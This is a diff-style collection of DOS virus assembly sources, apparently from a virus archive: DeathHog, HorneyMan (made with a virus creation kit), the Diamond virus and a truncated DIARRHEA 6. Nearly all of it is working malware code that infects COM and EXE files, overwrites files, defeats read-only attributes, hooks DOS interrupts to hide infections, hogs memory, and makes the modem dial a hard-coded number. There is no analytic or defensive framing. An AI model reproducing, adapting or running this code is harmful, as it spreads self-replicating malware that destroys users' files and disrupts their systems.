C = Infect COM files
|
||||
E = Infect EXE files
|
||||
P = Polymorpic
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
; DeathHog, (will defeat read-only files and appends itself to all
|
||||
; files)
|
||||
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
|
||||
; r/w access, nuisance routines supplied by KOUCH
|
||||
;
|
||||
; Appended by Kouch, derived from DeathCow/Define (author unknown)
|
||||
|
||||
|
||||
virus_length equ finish - start
|
||||
|
||||
code segment 'CODE'
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov dx,offset file_spec ; DX points to "*.*" - any file
|
||||
int 021h
|
||||
|
||||
infect_file : mov ah,43H ;the beginning of this
|
||||
mov al,0 ;routine gets the file's
|
||||
mov dx,09Eh ;attribute and changes it
|
||||
int 21H ;to r/w access so that when
|
||||
;it comes time to open the
|
||||
mov ah,43H ;file, the virus can easily
|
||||
mov al,1 ;defeat files with a 'read only'
|
||||
mov dx,09Eh ;attribute. It leaves the file r/w,
|
||||
mov cl,0 ;because who checks that, anyway?
|
||||
int 21H
|
||||
|
||||
mov ax,03D01h ; DOS open file function, write-only
|
||||
mov dx,09Eh ; DX points to the found file
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cl,virus_length ; CL holds # of bytes to write
|
||||
mov dx,offset main ; DX points to start of code
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
int 021h
|
||||
jnc infect_file ; Infect next file, if found
|
||||
|
||||
mov ah,31h ;insert 480K memory balloon
|
||||
mov dx,7530h ;for nuisance value
|
||||
int 21H ;it's big enough so 'out of
|
||||
;memory' messages will start cropping up quickly
|
||||
; RETurn to DOS
|
||||
|
||||
file_spec db "*.*",0 ; Files to infect: apped to all files
|
||||
main endp
|
||||
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,319 @@
|
||||
; DIAL.ASM -- HorneyMan
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Frankenchrist
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 0 ; We're not encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
mov cx,0004h ; Do 4 infections
|
||||
search_loop: push cx ; Save CX
|
||||
call search_files ; Find and infect a file
|
||||
pop cx ; Restore CX
|
||||
loop search_loop ; Repeat until CX is 0
|
||||
|
||||
call get_hour
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: lea si,[di + data00] ; SI points to data
|
||||
xor dx,dx ; Clear DX
|
||||
call serial_string
|
||||
lea si,[di + data01] ; SI points to data
|
||||
mov dx,0001h ; Second argument is 1
|
||||
call serial_string
|
||||
lea si,[di + data02] ; SI points to data
|
||||
mov dx,0002h ; Second argument is 2
|
||||
call serial_string
|
||||
lea si,[di + data03] ; SI points to data
|
||||
mov dx,0003h ; Second argument is 3
|
||||
call serial_string
|
||||
end00:
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,finish - start ; CX holds virus length
|
||||
lea dx,[di + start] ; DX points to start of virus
|
||||
int 021h
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
serial_string proc near
|
||||
mov ax,0000000001000011b ; BIOS init. serial port
|
||||
int 014h ; (300 baud, N, 8, 1)
|
||||
serial_loop: mov ah,1 ; BIOS send character function
|
||||
lodsb ; Load next character into AL
|
||||
or al,al ; Is it a NULL?
|
||||
je serial_done ; If so then exit
|
||||
int 014h ; Transmit the character
|
||||
jmp short serial_loop ; Loop until string terminates
|
||||
serial_done:
|
||||
ret ; Return to caller
|
||||
serial_string endp
|
||||
|
||||
get_hour proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,ch ; Copy hour into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_hour endp
|
||||
|
||||
data00 db "AT&FM0L0DT19008201110",13,10,0
|
||||
|
||||
data01 db "AT&FM0L0DT19008201110",13,10,0
|
||||
|
||||
data02 db "AT&FM0L0DT19008201110",13,10,0
|
||||
|
||||
data03 db "AT&FM0L0DT19008201110",13,10,0
|
||||
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,534 @@
|
||||
|
||||
; The Diamond Virus
|
||||
;
|
||||
; Version 2.10
|
||||
;
|
||||
; also known as:
|
||||
; V1024, V651, The EGN Virus
|
||||
;
|
||||
; Basic release: 5-Aug-1989
|
||||
; Last patch: 5-May-1990
|
||||
;
|
||||
; COPYRIGHT:
|
||||
;
|
||||
; This program is (c) Copyright 1989,1990 Damage, Inc.
|
||||
; Permission is granted to distribute this source provided the tittle page is
|
||||
; preserved.
|
||||
; Any fee can be charged for distribution of this source, however, Damage, Inc.
|
||||
; distributes it freely.
|
||||
; You are specially prohibited to use this program for military purposes.
|
||||
; Damage, Inc. is not liable for any kind of damages resulting from the use of
|
||||
; or the inability to use this software.
|
||||
;
|
||||
; To assemble this program use Turbo Assembler 1.0
|
||||
|
||||
.radix 16
|
||||
.model tiny
|
||||
.code
|
||||
code_len = top_code-main_entry
|
||||
data_len = top_data-top_code
|
||||
main_entry:
|
||||
call locate_address
|
||||
gen_count dw 0
|
||||
locate_address:
|
||||
xchg ax,bp
|
||||
cld
|
||||
pop bx
|
||||
inc word ptr cs:[bx]
|
||||
mov ax,0d5aa
|
||||
int 21
|
||||
cmp ax,2a03
|
||||
jz all_done
|
||||
mov ax,sp
|
||||
inc ax
|
||||
mov cl,4
|
||||
shr ax,cl
|
||||
inc ax
|
||||
mov dx,ss
|
||||
add ax,dx
|
||||
mov dx,ds
|
||||
dec dx
|
||||
mov es,dx
|
||||
xor di,di
|
||||
mov cx,(top_data-main_entry-1)/10+1
|
||||
mov dx,[di+2]
|
||||
sub dx,cx
|
||||
cmp dx,ax
|
||||
jc all_done
|
||||
cli
|
||||
sub es:[di+3],cx
|
||||
mov [di+2],dx
|
||||
mov es,dx
|
||||
lea si,[bx+main_entry-gen_count]
|
||||
mov cx,top_code-main_entry
|
||||
rep
|
||||
db 2e
|
||||
movsb
|
||||
push ds
|
||||
mov ds,cx
|
||||
mov si,20
|
||||
lea di,[di+old_vector-top_code]
|
||||
org $-1
|
||||
mov ax,offset dos_handler
|
||||
xchg ax,[si+64]
|
||||
stosw
|
||||
mov ax,es
|
||||
xchg ax,[si+66]
|
||||
stosw
|
||||
mov ax,offset time_handler
|
||||
xchg ax,[si]
|
||||
stosw
|
||||
xchg ax,dx
|
||||
xchg ax,[si+2]
|
||||
stosw
|
||||
mov ax,24
|
||||
stosw
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
sti
|
||||
all_done:
|
||||
lea si,[bx+exe_header-gen_count]
|
||||
db 2e
|
||||
lodsw
|
||||
cmp ax,'ZM'
|
||||
jz exit_exe
|
||||
mov di,100
|
||||
push di
|
||||
stosw
|
||||
movsb
|
||||
xchg ax,bp
|
||||
ret
|
||||
exit_exe:
|
||||
mov dx,ds
|
||||
add dx,10
|
||||
add cs:[si+return_address+2-exe_header-2],dx
|
||||
org $-1
|
||||
add dx,cs:[si+stack_offset+2-exe_header-2]
|
||||
org $-1
|
||||
mov ss,dx
|
||||
mov sp,cs:[si+stack_offset-exe_header-2]
|
||||
org $-1
|
||||
xchg ax,bp
|
||||
jmp dword ptr cs:[si+return_address-exe_header-2]
|
||||
org $-1
|
||||
infect:
|
||||
mov dx,offset exe_header
|
||||
mov cx,top_header-exe_header
|
||||
mov ah,3f
|
||||
int 21
|
||||
jc do_exit
|
||||
sub cx,ax
|
||||
jnz go_error
|
||||
mov di,offset exe_header
|
||||
les ax,[di+ss_offset-exe_header]
|
||||
org $-1
|
||||
mov [di+stack_offset-exe_header],es
|
||||
org $-1
|
||||
mov [di+stack_offset+2-exe_header],ax
|
||||
org $-1
|
||||
les ax,[di+ip_offset-exe_header]
|
||||
org $-1
|
||||
mov [di+return_address-exe_header],ax
|
||||
org $-1
|
||||
mov [di+return_address+2-exe_header],es
|
||||
org $-1
|
||||
mov dx,cx
|
||||
mov ax,4202
|
||||
int 21
|
||||
jc do_exit
|
||||
mov [di+file_size-exe_header],ax
|
||||
org $-1
|
||||
mov [di+file_size+2-exe_header],dx
|
||||
org $-1
|
||||
mov cx,code_len
|
||||
cmp ax,cx
|
||||
sbb dx,0
|
||||
jc do_exit
|
||||
xor dx,dx
|
||||
mov si,'ZM'
|
||||
cmp si,[di]
|
||||
jz do_put_image
|
||||
cmp [di],'MZ'
|
||||
jz do_put_image
|
||||
cmp ax,0fe00-code_len
|
||||
jc put_image
|
||||
go_error:
|
||||
stc
|
||||
do_exit:
|
||||
ret
|
||||
do_put_image:
|
||||
cmp dx,[di+max_size-exe_header]
|
||||
org $-1
|
||||
jz go_error
|
||||
mov [di],si
|
||||
put_image:
|
||||
mov ah,40
|
||||
int 21
|
||||
jc do_exit
|
||||
sub cx,ax
|
||||
jnz go_error
|
||||
mov dx,cx
|
||||
mov ax,4200
|
||||
int 21
|
||||
jc do_exit
|
||||
mov ax,[di+file_size-exe_header]
|
||||
org $-1
|
||||
cmp [di],'ZM'
|
||||
jnz com_file
|
||||
mov dx,[di+file_size-exe_header+2]
|
||||
org $-1
|
||||
mov cx,4
|
||||
push di
|
||||
mov si,[di+header_size-exe_header]
|
||||
org $-1
|
||||
xor di,di
|
||||
shift_size:
|
||||
shl si,1
|
||||
rcl di,1
|
||||
loop shift_size
|
||||
sub ax,si
|
||||
sbb dx,di
|
||||
pop di
|
||||
mov cl,0c
|
||||
shl dx,cl
|
||||
mov [di+ip_offset-exe_header],ax
|
||||
org $-1
|
||||
mov [di+cs_offset-exe_header],dx
|
||||
org $-1
|
||||
add dx,(code_len+data_len+100-1)/10+1
|
||||
org $-1
|
||||
mov [di+sp_offset-exe_header],ax
|
||||
org $-1
|
||||
mov [di+ss_offset-exe_header],dx
|
||||
org $-1
|
||||
add word ptr [di+min_size-exe_header],(data_len+100-1)/10+1
|
||||
org $-2
|
||||
mov ax,[di+min_size-exe_header]
|
||||
org $-1
|
||||
cmp ax,[di+max_size-exe_header]
|
||||
org $-1
|
||||
jc adjust_size
|
||||
mov [di+max_size-exe_header],ax
|
||||
org $-1
|
||||
adjust_size:
|
||||
mov ax,[di+last_page-exe_header]
|
||||
org $-1
|
||||
add ax,code_len
|
||||
push ax
|
||||
and ah,1
|
||||
mov [di+last_page-exe_header],ax
|
||||
org $-1
|
||||
pop ax
|
||||
mov cl,9
|
||||
shr ax,cl
|
||||
add [di+page_count-exe_header],ax
|
||||
org $-1
|
||||
jmp short put_header
|
||||
com_file:
|
||||
sub ax,3
|
||||
mov byte ptr [di],0e9
|
||||
mov [di+1],ax
|
||||
put_header:
|
||||
mov dx,offset exe_header
|
||||
mov cx,top_header-exe_header
|
||||
mov ah,40
|
||||
int 21
|
||||
jc error
|
||||
cmp ax,cx
|
||||
jz reset
|
||||
error:
|
||||
stc
|
||||
reset:
|
||||
ret
|
||||
find_file:
|
||||
pushf
|
||||
push cs
|
||||
call calldos
|
||||
test al,al
|
||||
jnz cant_find
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51
|
||||
int 21
|
||||
mov es,bx
|
||||
cmp bx,es:[16]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2f
|
||||
int 21
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_standard
|
||||
add bx,7
|
||||
fcb_standard:
|
||||
mov ax,es:[bx+17]
|
||||
and ax,1f
|
||||
xor al,1e
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17],0e0
|
||||
sub es:[bx+1dh],code_len
|
||||
sbb es:[bx+1f],ax
|
||||
not_infected:
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
cant_find:
|
||||
iret
|
||||
dos_handler:
|
||||
cmp ah,4bh
|
||||
jz exec
|
||||
cmp ah,11
|
||||
jz find_file
|
||||
cmp ah,12
|
||||
jz find_file
|
||||
cmp ax,0d5aa
|
||||
jnz calldos
|
||||
not ax
|
||||
fail:
|
||||
mov al,3
|
||||
iret
|
||||
exec:
|
||||
cmp al,2
|
||||
jnc calldos
|
||||
push ds
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
mov ax,3524
|
||||
int 21
|
||||
push es
|
||||
push bx
|
||||
mov ah,25
|
||||
push ax
|
||||
push ds
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset fail
|
||||
int 21
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax,4300
|
||||
int 21
|
||||
jc exit
|
||||
test cl,1
|
||||
jz open
|
||||
dec cx
|
||||
mov ax,4301
|
||||
int 21
|
||||
open:
|
||||
mov ax,3d02
|
||||
int 21
|
||||
jc exit
|
||||
xchg ax,bx
|
||||
mov ax,5700
|
||||
int 21
|
||||
jc close
|
||||
mov al,cl
|
||||
or cl,1f
|
||||
dec cx
|
||||
xor al,cl
|
||||
jz close
|
||||
push cs
|
||||
pop ds
|
||||
push cx
|
||||
push dx
|
||||
call infect
|
||||
pop dx
|
||||
pop cx
|
||||
jc close
|
||||
mov ax,5701
|
||||
int 21
|
||||
close:
|
||||
mov ah,3e
|
||||
int 21
|
||||
exit:
|
||||
pop ax
|
||||
pop dx
|
||||
pop ds
|
||||
int 21
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
calldos:
|
||||
jmp cs:[old_vector]
|
||||
.radix 10
|
||||
adrtbl dw 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
|
||||
dw 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
|
||||
dw 2480,2482,2640
|
||||
diftbl dw -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
|
||||
dw -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
|
||||
dw 324
|
||||
valtbl dw 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
|
||||
dw 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
|
||||
dw 2820,2820,2308
|
||||
xlatbl dw -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
|
||||
dw -316,324,-156,164
|
||||
.radix 16
|
||||
time_handler:
|
||||
push ds
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push cs
|
||||
pop ds
|
||||
cld
|
||||
mov dx,3da
|
||||
mov cx,19
|
||||
mov si,offset count
|
||||
mov ax,[si]
|
||||
test ah,ah
|
||||
jnz make_move
|
||||
mov al,ah
|
||||
mov es,ax
|
||||
cmp al,es:[46dh]
|
||||
jnz exit_timer
|
||||
mov ah,0f
|
||||
int 10
|
||||
cmp al,2
|
||||
jz init_diamond
|
||||
cmp al,3
|
||||
jnz exit_timer
|
||||
init_diamond:
|
||||
inc byte ptr [si+1]
|
||||
sub bl,bl
|
||||
add bh,0b8
|
||||
mov [si+2],bx
|
||||
mov es,bx
|
||||
wait_snow:
|
||||
in al,dx
|
||||
test al,8
|
||||
jz wait_snow
|
||||
mov si,offset valtbl
|
||||
build_diamond:
|
||||
mov di,[si+adrtbl-valtbl]
|
||||
movsw
|
||||
loop build_diamond
|
||||
exit_timer:
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
jmp cs:[old_timer]
|
||||
count_down:
|
||||
dec byte ptr [si]
|
||||
jmp exit_timer
|
||||
make_move:
|
||||
test al,al
|
||||
jnz count_down
|
||||
inc byte ptr [si]
|
||||
mov si,offset adrtbl
|
||||
make_step:
|
||||
push cx
|
||||
push cs
|
||||
pop es
|
||||
lodsw
|
||||
mov bx,ax
|
||||
sub ax,140
|
||||
cmp ax,0d20
|
||||
jc no_xlat
|
||||
test ax,ax
|
||||
mov ax,[si+diftbl-adrtbl-2]
|
||||
jns test_xlat
|
||||
test ax,ax
|
||||
js do_xlat
|
||||
jmp short no_xlat
|
||||
test_xlat:
|
||||
test ax,ax
|
||||
js no_xlat
|
||||
do_xlat:
|
||||
mov di,offset xlatbl
|
||||
mov cx,10
|
||||
repnz scasw
|
||||
dec di
|
||||
dec di
|
||||
xor di,2
|
||||
mov ax,[di]
|
||||
mov [si+diftbl-adrtbl-2],ax
|
||||
no_xlat:
|
||||
mov ax,[si-2]
|
||||
add ax,[si+diftbl-adrtbl-2]
|
||||
mov [si-2],ax
|
||||
mov cx,19
|
||||
mov di,offset adrtbl
|
||||
lookup:
|
||||
jcxz looked_up
|
||||
repnz scasw
|
||||
jnz looked_up
|
||||
cmp si,di
|
||||
jz lookup
|
||||
mov [si-2],bx
|
||||
mov ax,[si+diftbl-adrtbl-2]
|
||||
xchg ax,[di+diftbl-adrtbl-2]
|
||||
mov [si+diftbl-adrtbl-2],ax
|
||||
jmp lookup
|
||||
looked_up:
|
||||
mov es,[homeadr]
|
||||
mov di,bx
|
||||
xor bx,bx
|
||||
call out_char
|
||||
mov di,[si-2]
|
||||
mov bx,[si+valtbl-adrtbl-2]
|
||||
call out_char
|
||||
pop cx
|
||||
loop make_step
|
||||
jmp exit_timer
|
||||
out_char:
|
||||
in al,dx
|
||||
test al,1
|
||||
jnz out_char
|
||||
check_snow:
|
||||
in al,dx
|
||||
test al,1
|
||||
jz check_snow
|
||||
xchg ax,bx
|
||||
stosw
|
||||
ret
|
||||
stack_offset dd ?
|
||||
return_address dd ?
|
||||
db '7106286813'
|
||||
exe_header: int 20
|
||||
last_page: nop
|
||||
top_code:
|
||||
db ?
|
||||
page_count dw ?
|
||||
dw ?
|
||||
header_size dw ?
|
||||
min_size dw ?
|
||||
max_size dw ?
|
||||
ss_offset dw ?
|
||||
sp_offset dw ?
|
||||
dw ?
|
||||
ip_offset dw ?
|
||||
cs_offset dw ?
|
||||
top_header:
|
||||
file_size dd ?
|
||||
old_vector dd ?
|
||||
old_timer dd ?
|
||||
count db ?
|
||||
flag db ?
|
||||
homeadr dw ?
|
||||
top_data:
|
||||
end
|
||||
|
||||
@@ -0,0 +1,452 @@
|
||||
; DIARRHE6.ASM -- DIARRHEA 6
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by URNST KOUCH
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
call search_files ; Find and infect a file
|
||||
call search_files ; Find and infect another file
|
||||
lea dx,[di + data00] ; DX points to data
|
||||
lea si,[di + data01] ; SI points to data
|
||||
push di ; Save DI
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
mov di,bx ; DI points to DTA
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
int 021h
|
||||
jc create_file ; If not found then create it
|
||||
write_in_file: mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; File will have no attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ax,03D01h ; DOS open file function, write
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,[si] ; CX holds number of byte to write
|
||||
lea dx,[si + 2] ; DX points to the data
|
||||
int 021h
|
||||
mov ax,05701h ; DOS set file date/time function
|
||||
mov cx,[di + 016h] ; CX holds old file time
